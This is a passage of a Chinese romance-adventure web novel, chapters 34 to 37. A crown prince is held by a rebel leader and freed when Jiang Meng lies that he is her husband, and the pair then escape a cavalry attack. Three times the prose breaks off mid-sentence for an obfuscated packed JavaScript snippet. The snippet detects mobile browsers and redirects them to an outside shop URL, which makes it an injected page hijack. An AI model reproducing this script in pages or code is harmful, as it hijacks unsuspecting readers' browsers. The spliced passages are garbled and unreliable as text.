“我知道你们招兵买马都要钱,我这还有点儿,都给你们,不多,你们别嫌弃。”江蒙握着赵大姐的手,诚恳道,“等以后你当了皇上,我一定会来京城看你的!” 34. 第35章 扣留 赵燕红点燃一根香,随意地一口气吹灭,白烟袅袅直上,她单手将它往香炉里一插。 裴预冷眼看她给张午清上完香,坐到主将座上,以一种审视的目光看他。这种眼光显然是一种冒犯,但裴预没有因此动气。 “赵首领是何意,不妨说个明白。” 既然她想让他先开口,那他就识趣一些。方才赵燕红屏退众人,甚至把江蒙挡在了外面,只让他单独和她到大帐中。这情形真是意外的熟悉,很难不让裴预觉得,她是跟已经挂到墙上的那位学的。 “赵首领想要我做什么?” 无非就是条件交换。其实裴预对这笔买卖也有些兴趣,韩一成四处点火,阻挠远征,赵燕红这一小撮义军是火苗,他不妨在它萌芽时顺手掐灭。 “那要看,你能做到什么。”赵燕红沉稳道,“再问我能不能放你走。” 她是个聪明人。看出他身份不一般,但又不知道他是谁,所以来了句试探,想看他的底线在哪里。裴预笑了笑,并没有回答。 他们撑不了多久,他真心实意地对赵燕红道,这里兵力充足,临近城里驻扎了至少五万官军。和他们这些散兵游勇不同,官军训练有素,剿灭他们易如反掌。在最坏的结果发生以前,他希望赵燕红能够及时收手。 这些百姓活的并不容易,从法理上来说,造反是大逆不道的死罪,但从个人情感来说,他并不希望他们被处死。 他对赵燕红保证:事后官府不会追究。 不仅如此,他还会追究当地督造官责任,根据人口情况将徭役放宽到合理水平。 这是裴预最大限度的诚意,但赵燕红却拒绝了他的招安。 “我不能信任你。”她目光沉沉,终于开门见山道,“我要附近五个州郡的兵力部署和布防图。” 她的打算是向东占据瀛州,那里钱粮充足,位置优越,适合作为据点。 裴预当即拒绝。 他对于布防兵力了如指掌,但绝不会告诉赵燕红,他耐心地跟她分析局势和后果,试图让她知难而退。但赵燕红不是江蒙,始终对他抱有戒心,听不进他的话。两人的沟通陷入僵局。 “江蒙舍命救过你女儿,”裴预无奈,“你却把我扣下,怎么和她交代?” 赵燕红闻言,露出疑惑的表情。 在无极教见到两人的第一眼,她就知道两人不是什么夫妇。截然不同的气质,生活习惯,别说夫妇,完全是两个毫不相干的人硬凑在了一起。后来在豆城他俩分道扬镳,也更证实她的想法:这两人并无关系。 “为什么不能交代?”她反问,“你和她没有任何关系,她为什么要在乎你的去留?” 这话好似一记重锤,猛地叩击裴预心扉。 他下意识皱了下眉,唇角向下。想要反驳:江蒙当然会在乎,这显而易见…… 显而易见吗? 他后知后觉地发现,不知何时,他已经在心里把自己和江蒙绑定。 或许是因为这一路总是能碰见,像冥冥中有根绳子绑在一起,又或许是因为经历过同生共死,使得他无意间将两人的关系看得更重,才产生这种错觉。 然而事实是,正如赵燕红所说,他们是两个完全不相干的人,甚至从认识到现在,还没到一个月。 他和江蒙有什么关系呢?几天前他们还说好了要散伙,如果不是太平寺的意外,他们现在早就分道扬镳,谁是生是死,在东在西,彼此都不知道,也不必知道。 所以现在,只是经历了小插曲之后,事情又回到它原本应该的那样而已。江蒙带上银两,欢欢喜喜地回去她心心念念的村子,和她看得如此重的村民重聚。至于他一个无关的人的处境,实在不应该在她的考虑范围内。 甚至他和赵燕红相比,他是官,赵燕红是民,后者才是和江蒙同一边的人。更何况江蒙敬佩和仰慕赵燕红,没道理会为了要一个不相干的他,和她起争执。 按照常理来说,是这样。 赵燕红应该也是这么想的。 “因为你不了解她。”裴预抬头,淡然道,“我了解。” 身份地位悬殊如何?没有利益绑定如何?萍水相逢又如何?白首如新,倾盖如故。他了解江蒙,他信任她。 她说过在乎他的死活。 那么她就一定不会坐视不管。 赵燕红皱了皱眉,看向他的眼神里有些奇怪,显然是在怀疑他说的话。她刚要开口说什么,忽然听见帐外传来一阵嘈杂。 她瞬间将目光投向帐门。而与此同时,裴预垂下眼睛,露出个微不可查的微笑。 “您不能进去!”是赵小鹅的声音,“恩人!” 是江蒙。赵燕红站起身。 她没有想到江蒙真的会来,深深地看了裴预一眼,后者坐在椅子上,姿态放松自然,面上一丝笑意划过。 外头动静闹得愈发大,守卫呵斥了江蒙,又被赵小鹅呵斥制止。叮叮咣咣的似乎是刀枪的声音,帐外人影闪动,随后突然一只手攥住了帐门,猛地拽开! 从后头露出江蒙的脸。 她一手掀起布帘,一手攥着枪杆往下压,左腿往里迈,右腿还被一个守卫抱着。另一个守卫扒着她肩膀往后拽,而赵小鹅抱着她腰,嘴里苦劝:“您不能进去呀……” “赵大姐!”江蒙叫了一声。她奋力往里挤,视线急急地左右扫视,看见裴预坐在椅子上完好无损,松了口气。 赵燕红挥挥手,示意赵小鹅等人退下。 江蒙衣裳在刚才的拉扯中都有些不齐整,但她也顾不上整理,急吼吼进了大帐,到赵燕红案前,“呼啦”一下子就从怀里抖落出那一堆银锭,连着那几张银票,全都抖到地上。 “赵大姐,这些我都还给你。”她道,看也不看脚底那堆银钱,“你能把他还给我吗?” 她指向裴预。 赵燕红并没有回答,她坐回椅子,沉默地看向江蒙。裴预注意到,在这样的目光下,江蒙放下手臂,逐渐变得紧张,侧脸紧绷,身体也板直。 她素来的方法是打一架,可现在她总不能对着赵大姐的脸揍一拳。 他不再稳坐钓鱼台,起身到她身边,把手轻轻放到她肩膀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145156|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没关系。”他低声道,“她不能把我怎么样。” 江蒙望了他一眼,神色有些担忧。 “如果我不放人呢?”赵燕红出声了。 她话音严肃,并没有让步的意思。此话一出江蒙更加紧张,裴预明显感觉到手掌下她肌肉绷紧。他皱了皱眉,看向赵燕红道:“我在这里不会说一句话。” 留在他这里也没有用。 赵燕红闻言,脸色愈发冷: “有的是办法让你开口。” “赵首领可以试试。” 两人一人一句,针尖对麦芒,赵燕红认准了已经把裴预捏在手里,而裴预自恃侍卫将到,态度都相当强硬。在这种剑拔弩张的氛围中,江蒙看了看两人,抿抿嘴唇,毅然决然向前迈了一步。 “如果非要有个人留在这儿。”她道,“那我留下好了!” 经过无极教那事,现在这情况她猜也能猜到,赵大姐应该和当初老乌鸡一样,想要利用太子,叫什么来着,挟天子以令猪猴? 当初太子在老乌鸡手里受了不少罪,她不能让这种事再次发生。 何况要是太子说漏了嘴,让赵大姐知道他真实身份是那皇帝老儿的亲儿子,直接一怒之下砍了他怎么办。 不论如何,太子因为她才到了这里,如果因此有任何闪失,她心里过意不去。钱赵大姐不要,她有的也只有自己了。 虽然有些荒唐,但她也没有别的办法,只好硬着头皮一换一了。 这一句话石破天惊,把那两人都惊着了。抛去这解决办法的可行性不谈,她竟然愿意用自己去换裴预,是这两人谁都没想到的。 饶是裴预自诩了解江蒙,也完全没想到她会说出这句话。 正因为了解,所以他知道她有多看重那个村子,有多想回去。他不经意间看见过她腿上的伤口,分明还没好透,还会往外渗血丝,被她包扎了一下就继续赶路。 然而现在,她却放弃了回乡,要代替他留在这里。 他看向江蒙,美目大睁,震惊之下甚至忘了说话。 “可是为什么?”赵燕红皱眉,“他是你什么人,值得你这样?” “他……”江蒙看了眼裴预,看见他脸上的震惊,她顿了顿,似乎是下定了决心,脸庞开始扭曲,艰难地张开口齿: “他是我的……”她艰涩道,“……我夫君。” 裴预眼睛瞪的更大了。 江蒙深深吐出一口气。 人生第一次说谎,感觉不是太好。但似乎也不是那么糟。她望向惊诧的赵燕红,诚恳道:“赵大姐,求你别为难我们。” 赵燕红看向她,欲言又止的样子,江蒙这谎言有多拙劣,是个人都能看出不对。 但那毕竟是江蒙,救了她女儿的人,她们母女的恩人。她既然如此迫切地想要救人,她又怎么能忘恩负义,为难于她。 她的目光在对面站着的两人身上来回扫了扫,最终深深叹了口气,挥挥手,放他们走。 就算没有那小子提供情报,她赵燕红一样可以打进瀛州,站稳脚跟。 35. 第35劫 错意 等到赵燕红命人给他们收拾好行李,送他们离开寨子下山时,裴预还一副没醒过神来的样子。 江蒙一面下山,一面高兴地端详赵燕红新送她的刀。她把刀拿在手里翻来覆去地看,只见那刀刃在阳光下反射雪亮光芒,她在空中挥舞两下,似乎听见破风的声音,又用手指弹了一下刀刃,凑到耳边听那绵密的嗡鸣声。 “好刀!”她赞道。 把刀收回刀鞘,她注意到身边裴预走路的动作十分僵硬,一副神游天外的样子,不由得停下来。而后者甚至没意识到她停下了,继续丢了魂一般往前走。 她连忙追过去,“啪”的在他背上拍了一下。“你怎么了?”她问。 这一拍终于把裴预拍醒了过来,他浑身一抖,如梦初醒般地转过头,看向她。他那双眼睛生的很美,但此时那两颗眼珠子直愣愣地盯着她,一眨不眨,就显得有些恐怖了。 江蒙被他盯的发毛,双手蹭了蹭胳膊,莫名其妙地问他到底怎么了。 “你说我是你什么?”他道。 江蒙挠了挠脸,想了一会儿,反应过来他说的是她骗赵大姐那事儿。于是骄傲道:“怎么样,我也学会撒谎了。” 她觉得他应该为此而高兴,这说明那天晚上在大牢里他没白教,她学会了。 还因此救了他呢! 以往老秀才要是教会她什么,看她把书给念出来,那老脸就乐的跟朵菊花儿似的了。可现在江蒙看着太子,他的脸却和老秀才完全不一样。 那上头丝毫没有显露高兴的表情,相反,他愣了一下,像是没想到她会这么说似的。随后神色变得愈发复杂,玉面涨红,居然一声不吭地扭头就走。 江蒙看着他背影,丈二和尚摸不着头脑。 他是怎么了? 看着像是生气了,丢下她,也不说一句话。 可是为什么? 江蒙费劲地思索太子为何生气。难道是因为她说他俩是一对儿,他觉得自己被轻薄了?可这并不能怪她,她也没有要占他便宜的意思,只是当时情形危急,她要救人罢了。 再说了,冒充一对儿又不是她挑起的头,分明老早之前碰到商队时,他自己也跟老赵撒过这样的谎。那时候她可没斤斤计较地跟他生气。 总不能只许州官放火,不许百姓点灯吧。 她有些郁闷,想追上去说个清楚,但裴预在前头走的飞快,好似身后有鬼追他似的。江蒙到最后不得不小跑起来,才终于能够到他后背。 她想拍他左肩,他却背后长眼睛似的,往右一偏躲开了。她又去抓他右肩,他就逃向左边,明显就是故意不想搭理她。气的江蒙最后捡了颗小石头,扔他背上。 “你到底什么毛病?!” 裴预脊背一僵,站在原地,这不轻不重的疼痛,终于让他从情绪中抽离出来。 他回过头,看见江蒙气鼓鼓的,神色间有些委屈:“你有什么可生气的?” 心中顿时涌上些愧疚,裴预走回去,低声:“我没有生气。” “那你不理人?” 裴预投降道歉,又好生夸奖了江蒙一番,终于让人转怒为喜,又嘻嘻哈哈地往前走。一面走,一面把玩她的新刀。裴预看着她没心没肺的背影,情绪复杂。 他确实没有生气,或者说,并不是在对江蒙生气。 他在气自己。 裴预又回想起那时场景,赵燕红问完那句话之后,他也在等江蒙的回答。他知道江蒙应该会说一个很有分量的词,他自信满满地猜测她会说什么。 生死之交?兄弟?再不济,至少也会是朋友吧。 虽然他从没有表达过,但在心里,他已经把她当做挚友了。 然而纵使裴预再自信,也完全没有想到会是那两个字,完全在他预想的答案之外,以至于他听到之后,心跳都空了一拍。 江蒙是无论如何不会说谎的人。 所以她这样说…… ……难道心里真的是这样想吗? 难道说,因为这段经历而有错觉的不止他一个,她甚至比他更严重,甚至把他当做那样亲密的人了吗? 裴预大脑一片空白。 冷静。他告诉自己,心跳却不听使唤,剧烈的如同擂鼓。 什么时候的事情? 他努力回忆江蒙这一路上的表现,试图从那些画面中捕捉到一丝暧昧,得出她动心的答案。他聪明绝顶,过目不忘,从第一面起至今的每时每刻都记得。 他想起他们从客栈坠落的瞬间,雷雨心跳声中近在咫尺的她的眼睛,想起她牵着他手在山林中狂奔,干燥掌心灼人的温度。她喝水时脖子扬起的弧度,蹲下去在溪边洗脸时小臂的线条,她抬起头,浓黑的眉眼挂着水珠,在阳光下清澈晶莹。 她看着他时很专注,很认真。 一时间脑袋里好像万花筒,晕乎乎的,全是她各种样子。 下一刻又都消散不见,只剩那一双眉眼,专注地凝视他。渐渐的,他似乎从那样的眼神里捕捉出某种幽微的、动人的情愫。 好像是真的。 江蒙真的心悦于他! 这却让裴预左右为难了。他只是把她当做重要的好友,并没有逾礼的心思,所以自然不能接受她的感情。 可若是拒绝,又害怕她伤心。 万一这是江蒙第一次喜欢别人怎么办? 裴预没有动过心,可他那些朋友里不乏情圣,也曾教导过他初恋最为深刻难忘,若是被伤了心,真是一辈子忘不了。 他不想让江蒙一辈子都会为这事儿难过。 怎么样才能委婉地、明确地、同时又不伤害她的拒绝呢? 他就这样胡思乱想了一路。 然后江蒙告诉他都是假的。 那一瞬间真是羞愤欲死,裴预只觉得脑袋“轰”的一声,似乎全身血液都涌上来了。他自己都能感觉到脸和脖子一定红透了。他实在不想在江蒙面前如此失态,慌乱之下,只好落荒而逃。 现在回过头来想,江蒙那时那扭曲的神情,怎么可能是在发自内心地说话?只可能是在说谎,怎么可能真的把他当成…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152001|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他当时脑子里到底在想些什么? 自诩聪明一辈子,偏偏在此时蠢得令人发指。 真是全天下头一号的蠢蛋。 幸而这事儿江蒙并不知道,只是他的内心戏,不然,他真的没脸见人了。 两人一前一后下了山,已是下午申时。有了赵燕红的手令,他们顺利穿过寨子,在守兵的注视下出了寨门,顺着土路往外走。 两人肩上都背着一个赵小鹅亲手打的包袱,里头干粮够他们吃到下一个镇子。 江蒙走着走着,忍不住往回看。裴预顺着她目光回头,身后高耸直立的瓦石山上,已经几乎看不见赵燕红的大寨,茂密的树林掩映,只有仔细寻找,才能看见几面飘扬的旗帜。 “她们能成吗?”江蒙问他。 裴预抿了抿唇。 他知道江蒙当然是希望她们能活的久一些,更久一些,所以他还是不要打破她的希冀了。 不过不得不说,民间的形势比他想的还要糟糕。赵燕红这一撮人是一个缩影,一个赵燕红不可怕,就怕全国还有刘燕红、李燕红…… 据赵燕红说,她们乡里传开瘟疫后,官府却并未采取任何措施。既没有下发药材,也没有开仓放粮,救济病人。反而紧闭官仓,导致城中药材、粮食紧缺,千金难求。 这和报给裴预的折子里说的完全相反。 官仓制度是他提出来的,即丰年粮食价贱时,官府从农民那里略高于市价买入,储存至官仓。到欠年时,粮食价高,再以低于市价的价钱卖出。这样一来,既可以让官府多了一笔进账,充实国库,又可以稳定粮价,造福百姓。 到今年年初,各地官仓无不充实,按照各州府报上来的数字来看,储存的粮食足够全国上下吃五十年。 在这种情况下,如果赵燕红没有说假话。 那么当地的官员都在干什么? 究竟是昏了头舍不得放粮,还是官仓里根本就无粮可放? 全国各州府报上来的数字究竟有多少水份,人间蒸发的那部分粮食又是进了谁的口袋? 这种情况下,国力真的够支撑远征战事消耗吗? 一个问题接着一个问题。裴预越想心越沉。 此时,身旁的江蒙忽然停住了脚步。裴预回过神,也停下来,转头望向她、 就见她表情十分奇怪,低头看了看脚下,纳闷地道:“奇怪……” “怎么?” “脚底下在震。” 其实裴预没有感觉到,但江蒙是习武之人,感官素来敏锐,她说在震就一定在震。裴预想起那天的泥石流,顿时大惊,心道难道就这么倒霉,又要碰上地震? 江蒙却否定了他的想法。 她说这个震法很有节奏,而且不是上下左右晃,显然不是地震,倒像是马蹄踏在地上。 她趴到地上听了一会儿,起身告诉他,有很多匹马正在往这里快速地奔来。裴预听完她说的,愣了一瞬,随即想到了是怎么回事。 “快躲起来!”他拉起江蒙就跑,“官军要来了!” 36. 第36劫 奔逃 但话是这么说,要躲,却也确实无处可躲。这里是山脚下一条小道,两边地势平坦、树木低矮,并无遮蔽之处。 无奈之下,江蒙拉着他就往回跑。 “你做什么?”裴预大惊。 “回寨子里躲一躲!” 裴预犹豫了一下,果断跟着她往回跑。到时候官军到这儿,义军回击,他们两个手无寸铁的人夹在中间,死的一定很难看。 就听见前方寨子外的哨塔上,传来一阵一阵唢呐的声音,看来他们也发现了官军的踪迹。寨中登时嘈杂起来,铜锣敲的震天响,夹杂着男人的吼声。义军们在里头匆匆忙忙集合列队,门口的守兵则急急地摇动连杆,只见壕沟上的大木板狠狠摇晃一下,带起不少泥土,接着缓缓在空中升起。 “糟了!他们要关门!”江蒙急道,“咱们必须快点!” 他们必须得在木桥升上去、寨门彻底关闭之前进去。否则就彻底没机会了。 “来不及了!”裴预往回看了一眼,惊道。 只见地平线上已经能看到跃动的黑色的身影,像一颗颗跳动的铁粒。似乎只是转瞬间,那些铁粒就变成了清晰可见的人马,以一种极快的速度向这里冲来。和他们相比,裴预二人迈腿的速度就好似蜗牛。 这显然是一队先遣骑兵,负责侦查和探路,为之后到来的大部队开路。 对于他们来说,如果路上碰到敌人顺手除掉,也是大功一件。 也就是说,裴预和江蒙这两颗人头,就是明晃晃的功劳。 “别往后看!”江蒙喝道,侧脸紧绷,两眼紧紧盯着前面仍在逐渐上升的木桥,“赶紧跑!” “他们在拉弓!”裴预额头浮起粒粒冷汗,“他们要射杀我们。” “我知道。”江蒙脑门上也全是冷汗,两眼盯着前方,“拉弓的不止是后头。” 哨塔上已经沾满了义军,一个个搭箭上弓,对准他们这里。 两人同时骂了一声。裴预在心里暗骂,江蒙则骂出了声。 骑兵的弓箭射程在一百五十步左右,而义军的强弩射程在两百步左右。现在他们距离寨门还有一百多步,而身后的骑兵已在三百步以内。 这是个简单的计算问题,以他们的速度,五十步之后他们会落入骑兵的射程,同时骑兵会进入义军的射程,届时两方同时放箭,他和江蒙将会遭受同时来自前后的箭雨洗礼。 裴预甚至气的笑了。 “吾命休矣。”他对江蒙道。 跑了这么久,他早已气喘吁吁,心好似要破开胸膛跳出去,喉咙里一股血腥味。双腿疲乏沉重,他感觉自己跑不动了。 江蒙却跟他截然相反。她的速度仍然很快,拉着他的手指有力,铁钳一般攥着他手腕,拽着他往前飞奔。她侧脸此时却是意外的沉着,另一手从腰后抽出刀,紧紧握在手里。 “未必。”她沉声道。 裴预顺着看向她手里的刀,她握的很紧,手背凸起青筋。她难道是想一个人用刀把那些箭打落吗?他心想,感到震惊,这怎么可能呢? 但坐以待毙显然不是两人的风格,即便形势到了必死的地步,两人也不会停下脚步。裴预跟着江蒙向前狂奔,看着寨门一点一点靠近。 五十步之后。 箭如雨落! “江蒙!”裴预反手也握住她手腕,侧过脸,“我们这次是真要死在这里了!” 密密麻麻的箭雨仿佛蝗灾时的蝗虫,铺天盖地而来,只消抬头看上一眼,就不能不感到绝望和恐惧。裴预对着天穹落下的无数利箭,下意识僵立原地,只觉浑身冰凉。 只有手腕上有江蒙掌心的一点温热。 “别停!” 手腕一痛,是江蒙猛地拽着他,往前一推。裴预大脑空白一瞬,向前踉跄几步,就感到后背一沉——是江蒙贴了上来。 她和他背靠着背,她面向骑兵,而他则面向寨子。“往前走。”她扭过头道,声音就在他耳旁,“我们还有救。” 裴预明白过来江蒙是什么意思,咬了咬牙,忽视掉头顶的箭雨,忍住浑身发冷的麻痹感,快步往前走。背后传来叮叮咣咣的声音,是江蒙在拿刀挡开射来的利箭。 江蒙判断的没错,义军哨塔上的弩箭是冲着骑兵而去,他们和骑兵有一段距离,因此不大会被伤到。而骑兵要避开弩箭,追赶的速度也慢了下来,因为要拿盾牌遮挡,对他们放的箭也没有那么多。 竟真让江蒙勉强招架住了。 她的脊背偶尔会撞到他,坚硬、温热,每一次相碰,都让裴预从心里升起安心的感觉。他咬牙往前走,忽略愈来愈逼近的马蹄声、如雷般的喊杀声、利箭破风的撕裂声,不回头,不停步,将后背完全交给江蒙。 在此之前,他从未如此信任过一个人。 裴预忽然停下脚步。 他呼吸急促地看向脚下,一支羽箭深深没入土中,箭羽犹在震动。虽说义军的箭是冲着官军而去,但偶尔也会有几根射到他们这边来。 他要做的就是高度集中精神,注意前面有没有这样的冷箭,然后带着江蒙避开。 背后一重,是江蒙撞了上来。他们脊背紧紧相贴。 江蒙停了下来,没有回头,也没有问他怎么回事,只全力挡开从后方射来的箭。直到裴预动了,她也跟着后退。正如他信任她那般,她也完全将后背交给了他。 两人背靠背迅速向前移动,裴预看着越升越高的木桥,精神紧绷到极点。现在木桥前端距离地面已经有一人高,同时还在缓慢上升,恐怕等他们到寨子脚下,压根上不了木桥。 壕沟足有一丈五宽,没有木桥,他们也过不去。 怎么办? 就在裴预紧张地直冒冷汗时,忽然,那木桥似乎停住了,甚至,还有点下降的趋势。他眨了眨眼,还以为是自己过度紧张出现的幻觉,但片刻后,他确认它的确没有再继续往上升。 寨门上方出现一个熟悉的身影,正挥舞着手臂对他们大喊:“喂!快点!” 是赵小鹅。 她让义军停止上升木桥,那木桥现在有一人高,以江蒙的实力完全可以跳上去,再拉他上去。裴预精神一振, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164812|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头告诉后面的江蒙。 “好!”江蒙提气地大吼一声。 看得出来她已经极度疲惫,鬓角已被汗水湿透。短短三十几步,她走的艰难无比,既要倒退着走,又要挥刀打落所有的飞箭,能撑到现在,已经算是超人了。 裴预听见她沉重的呼吸声。 快点。他在心里对自己说,快一点。 原先的恐惧已经完全从脑海消散,现在他盯着前方,只想着赶紧带江蒙走到寨门。一步、两步……在漫长的难以忍受的时间后,两人到了寨门。 “快上来!”头顶传来赵小鹅几乎破音的叫声。 江蒙吼了一声,“砰”地打落最后一支箭,回身拉起他就跑。 两人的手紧紧攥在一起,向前狂奔,裴预能听到耳边呼啸的风声。两人很快跑到木桥底下,江蒙和裴预互换位置,她到前头准备上桥。 只见她把刀咬到嘴里,奋力一跃,双手便死死扒住了木桥边缘。裴预看见那两条修长的胳膊肌肉隆起,关节曲起,把她整个人拉了上去。 她在木桥前端单膝跪稳,立刻向裴预伸出手:“快!”裴预赶紧握住她的手,江蒙一手攥着他手掌,另一手拽着他手腕,手臂发力,身体后仰,将他也拉了上去。 在两人都上到木桥的那一刻,脚下狠狠晃了一下,木桥又缓缓开始上升。 而后头的骑兵,还在百步之外,只能眼睁睁看着他们登上木桥,即将进入寨内。 裴预和江蒙面对面蹲着,都从对方遍布汗水的脸上,看到了死里逃生的喜悦神情。 他们安全了。 江蒙率先笑了出来,气喘吁吁的,方才狂奔中尘土飞扬,她脸上都是灰,又在流汗,就黑一道白一道的,黏着已经湿透的额发。她肩膀衣裳也破了好几个口子,显然是被箭矢刮的,整个人看起来狼狈不堪。 裴预知道自己也差不多。 不然江蒙不会看着他笑的那么欢。甚至低下头捧着肚子笑。 他也笑了出来。 方才极致的紧张过后,现在骤然放松下来,就觉得浑身都轻飘飘的,什么也不想,只想放声大笑。 下一刻,他的笑意却戛然而止。 裴预睁大眼睛,清透的瞳孔骤然放大,里面映出一点寒芒。那是一支误放的箭,提前逃离了弓弦,因此严重偏离方向,没有朝着官军去,反而直取向木桥上的江蒙。 江蒙背对着它,一无所知。 裴预想要提醒她,但瞬间意识到来不及,在她听到提醒、抬起头、回过身、举刀格挡的期间,那支箭就会穿透她的后心。那一霎那他想不到更多,瞬间拽住江蒙的手,将她拉向自己。 然后转身,将她护在了自己身下。 在两人位置颠倒的刹那,四目相对,他看见她的眼睛也瞪大。 那双黝黑的眼睛里毫不掩饰地迸发出情绪,茫然、疑惑、在看到那支箭以后,转为震惊。她的眼珠不知所措地转动向他的脸,盯着他,似乎不明白他为何要这么做。 裴预只想苦笑。 他自己都不知道。 37. 第37劫 官军 裴预闭上眼,准备好迎接后背的疼痛。但江蒙的反应极快,闪电般将手从他身下抽出,横过刀挡在他背后。裴预闭着眼睛,只听到身后一声令人牙酸的“铛”的脆响。 想象中被箭矢穿透的剧痛没有到来,只有身体下另一具躯体急促的起伏。裴预睁开眼睛,慢慢撑起手臂,和下方江蒙的脸对视。 那张脸上一丝血色也无,呼吸急促,黝黑的眼珠紧紧盯着他,追随着他动作转动。她看上去紧张至极,似乎受到不小的惊吓。 他从未见她吓成这样。 那支箭掉到一边,滑下木桥。 江蒙握刀的手还放在他背后,此时放松下来,搭在他肩上,有种在搂着他的假象。裴预这才意识到两人的姿势有些过于亲密,脸上一烫,连忙撑起身体想要分开。 脸颊却突然传来温热触感。是江蒙另一只手捧着他脸,裴预一懵,还未来得及说什么,江蒙已经猛地起身抱住了他。 她双臂紧紧箍住他脖颈,整个人的重量挂在他身上,裴预猝不及防,被她带着又倒了回去。两人躺在木桥上。江蒙把脸埋进他肩窝,手里的刀柄坚硬地硌着他的背,裴预怀里全是她的温度。 紧紧贴着没有一丝距离。 他沉默一瞬,最终没有挣扎,低下头,把脸贴到她头顶。 “我没事。”他轻声说。 江蒙已经无法承受再有一个人为救她而死,所幸,裴预没事。她趁他不注意时抹掉眼泪,而裴预则假装没看到,两人从木桥上下来,进了寨子。 在赵小鹅的安排下,两人再次上山。 再见到赵燕红时,对方的气场便更无法忽视,官军到来,由不得她掉以轻心。此时她端坐在大帐中,沉着严肃,发号施令,完全是一名沙场大将。 在她指挥下,义军击退了侦查骑兵,随后接她命令紧闭寨门,不管下面官军叫骂冲阵,不能轻举妄动。 这个节骨眼上,裴预和江蒙也只好继续留在瓦石山。 不多时,探子来报官军情况。原来豫州起事后,官府便派豫州、青州巡抚挂帅剿灭四方反民,而这次前来征剿白河军的先锋,乃是一名游骑将军,姓杨,带领一万兵马前来。在距离瓦石山二十里的地方下寨,明日准备开战。 一万对两千,兵力悬殊如此之大,江蒙忧心忡忡,问裴预该怎么办。 裴预摇摇头。 在他看来结局已定,如果问他的意见,那自然是想让赵燕红立刻投降,至于后续的事情,他会妥善安排,保证能让这两千走投无路的百姓不至于下场太凄凉。 赵燕红听罢,本来对着地图沉吟,此时忽然笑了。 说是笑,其实也就嘴角提了一下,很快又恢复原样。 但其中的嘲笑意味,完完全全传达给了裴预。 裴预:? 他轻皱了下眉,赵燕红却又道:“那就投降。” 裴预:?? 午间官军浩浩荡荡前来,领头的是个中年将军,黑袍黑铠,那派头自然要比寒酸的义军要气派多了。他显然没把义军放在眼里,满脸骄傲之色,上来就拿银枪指着赵燕红道:“贼妇人!还不快来引颈就戮?” 把个赵英赵勇气的半死。 赵燕红却没有丝毫波动。 她此时一身铁甲,坐在罗伞之下,手边是赵小鹅,捧着香炉,垂眸安然。左右是赵英赵勇两个年轻小将,各手持兵器,威武昂扬。身后兵士拿着利剑,寒光闪闪,身侧旌旗飘动,红色的旗帜上书“无极圣母”四个篆书大字。 她招来赵英赵武,在二人耳侧吩咐几句,两人脸上都立刻显出不忿的神色。但看了看赵燕红的脸色,又将不忿全都压下,行礼领命而去。 铜锣声响、鼓声阵阵,义军这边辕门打开,赵英从里头杀出,直取那杨将军,二人打了几十回合,赵英败走,慌忙逃走。 那杨将军更加不掩饰地放肆嘲笑。他身后的官军更是喊声震天。 赵英走后,赵勇又杀出,也和前者一样,打了几十回合便败退。 这下义军连忙鸣金收兵,慌忙鼠窜逃回寨中,而那杨先锋带领官军乘胜追击,好不威风。 这一切都被山上的江蒙二人看的清清楚楚。 江蒙脸色不大好,因为看上去官军大占优势,义军简直被打的满地找牙。一转头,却见裴预脸色也不太好。 他的原因却和江蒙不同。 “这个杨先锋太轻敌。”他口气严厉。 结合赵燕红之前的表现,他已经猜到了她的意图,现在一看这情况,不由得深深叹口气。 唯一高兴的就是杨先锋了。 他来之前就对这一小撮反贼嗤之以鼻,都是面朝黄土背朝天的农民而已,大字不识一个,懂得什么排兵布阵?懂得什么兵法策略? 不过是仗着人多,就好像那蚂蚁一样,一窝窝的数目多看着瘆人,其实人一来,稍微动点真格的,它们就得统统完蛋。 今日一看果然如此,派出来的两个什么将军,稍微打打就落荒而逃,简直都是草包嘛。 而让他更加高兴的是,当晚便有个反贼小头目前来投降,此人自称是原本白河乡衙门里的一个小官,赵燕红攻破衙门后,他为了免除一死,假意投降,忍辱负重蛰伏在她身边,如今王师已至,他自然当弃暗投明,为官军效犬马之劳。 今夜前来,他不仅将山上反贼各方面情况吐露的一干二净,还约定后日白天和他里应外合,将那股反贼一网打尽。 杨先锋大喜。 那贼妇人选的地方不错,瓦石山易守难攻,虽说他兵力强过贼众不少,若是硬取,花费一些时日也能拿下。但不如用计得来的容易。 他已然心动,但到底留了个心眼,恰好军中有白河乡的人,他便让人出来指认,看究竟是不是他口中的某衙门某官。 人到后,果然认了出来。 这下杨先锋彻底放了心,要好酒好肉地款待一番,却被那人拒绝,说怕出来久了遭人怀疑。双方便不多废话,约定好时机、暗号,只等后日行动。 